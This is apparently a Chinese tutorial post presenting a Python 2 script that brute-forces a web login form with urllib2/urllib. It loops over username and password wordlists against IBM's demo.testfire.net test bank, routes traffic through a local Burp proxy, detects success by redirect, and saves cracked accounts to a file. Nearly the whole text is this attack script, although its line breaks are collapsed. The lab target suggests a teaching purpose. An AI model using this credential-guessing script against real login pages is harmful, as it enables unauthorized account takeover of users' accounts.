python 的 http 中 urllib2和 urllib模块在web 表单爆破的使用方法
脚本中还增加了 urllib2和 urllib模块如何添加代理的方法
# -*- coding: utf-8 -*-
import urllib2
import urllib
import timedef brute_force(user, password):#strip() 方法用于移除字符串头尾指定的字符(默认为空格)name = user.strip()passwd = password.strip()#添加代理:本地8080端口的代理是 burp 工具,主要是查看脚本发包回包的情况,好定位问题proxy = urllib2.ProxyHandler({"http":'http://127.0.0.1:8080'})opener = urllib2.build_opener(proxy)urllib2.install_opener(opener)#IBM 公司的一个 测试网站url1 = "http://demo.testfire.net/bank/login.aspx"user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"headers = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}values = {'uid': name, 'passw': passwd,'btnSubmit':'Login'}data = urllib.urlencode(values)#可以把key-value这样的键值对转换成我们想要的格式,返回的是a=1&b=2这样的字符串request = urllib2.Request(url1,data,headers)response = urllib2.urlopen(request)url2 = response.geturl()time.sleep(3)if url2 != url1:#因为urllib2 返回的页面如果存在302重定向,返回的页面是重定向之后的页面,所以不能以302状态码来判断是否登录成功,#因为重定向之后的页面访问成功是200,不是302;所以以返回的页面是不是发生变化来判断是否是否登录成功。print '---- find user:', name, ' with password:',passwd, '-----'print url2outFile.write(name + ':' + passwd+'\n' )else:print '----- error user:', name, ' with password:',passwd, '-----'print url2response.close()returnoutFile = open('accounts-cracked.txt', 'w')if __name__ == '__main__':#导入用户名字典with open('user.dic', 'r') as userline:y = userline.readlines()#导入密码的字典with open('pass.dic', 'r') as passline:b= passline.readlines()for u in y:for p in b:brute_force(user=u,password=p)outFile.close()
with open('accounts-cracked.txt','r') as text:list = text.readlines()sum=len(list)if sum>0:print "找到",sum,"个账号密码"
else:print "All thread OK,maybe not "
输入有点丑,将就用下